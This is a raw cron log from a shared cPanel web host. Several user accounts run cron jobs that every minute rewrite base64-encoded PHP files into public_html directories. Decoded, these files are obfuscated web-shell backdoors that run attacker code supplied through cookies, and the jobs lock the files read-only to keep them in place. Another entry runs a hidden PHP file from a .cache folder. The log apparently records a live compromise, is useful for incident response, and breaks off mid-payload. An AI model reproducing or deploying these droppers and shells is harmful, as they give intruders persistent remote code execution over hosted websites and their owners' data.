Mar  1 05:50:02 medusa CROND[5916]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:50:02 medusa CROND[5918]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 05:50:02 medusa CROND[5920]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 05:50:02 medusa CROND[5922]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 05:50:02 medusa CROND[5931]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:50:02 medusa CROND[5930]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:50:02 medusa CROND[5934]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 05:50:02 medusa CROND[5933]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 05:50:02 medusa CROND[5935]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:50:02 medusa CROND[5924]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 05:50:02 medusa CROND[5921]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 05:50:02 medusa CROND[5944]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 05:50:02 medusa CROND[5943]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 05:50:02 medusa CROND[5949]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:50:02 medusa CROND[5950]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:50:02 medusa CROND[5948]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:50:02 medusa CROND[5941]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 05:50:02 medusa CROND[5952]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:51:01 medusa CROND[30733]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:51:01 medusa CROND[30848]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:51:01 medusa CROND[30850]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:51:01 medusa CROND[30849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:51:01 medusa CROND[30851]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 05:51:01 medusa CROND[30855]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:51:01 medusa CROND[30856]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:51:01 medusa CROND[30854]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 05:51:01 medusa CROND[30857]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:51:01 medusa CROND[30858]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:51:01 medusa CROND[30859]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:51:01 medusa CROND[30860]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:51:01 medusa CROND[30866]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:51:01 medusa CROND[30872]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 05:51:01 medusa CROND[30885]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 05:52:02 medusa CROND[23604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:52:02 medusa CROND[23646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:52:02 medusa CROND[23659]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 05:52:02 medusa CROND[23660]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:52:02 medusa CROND[23661]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:52:02 medusa CROND[23662]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:52:02 medusa CROND[23666]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:52:02 medusa CROND[23667]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJ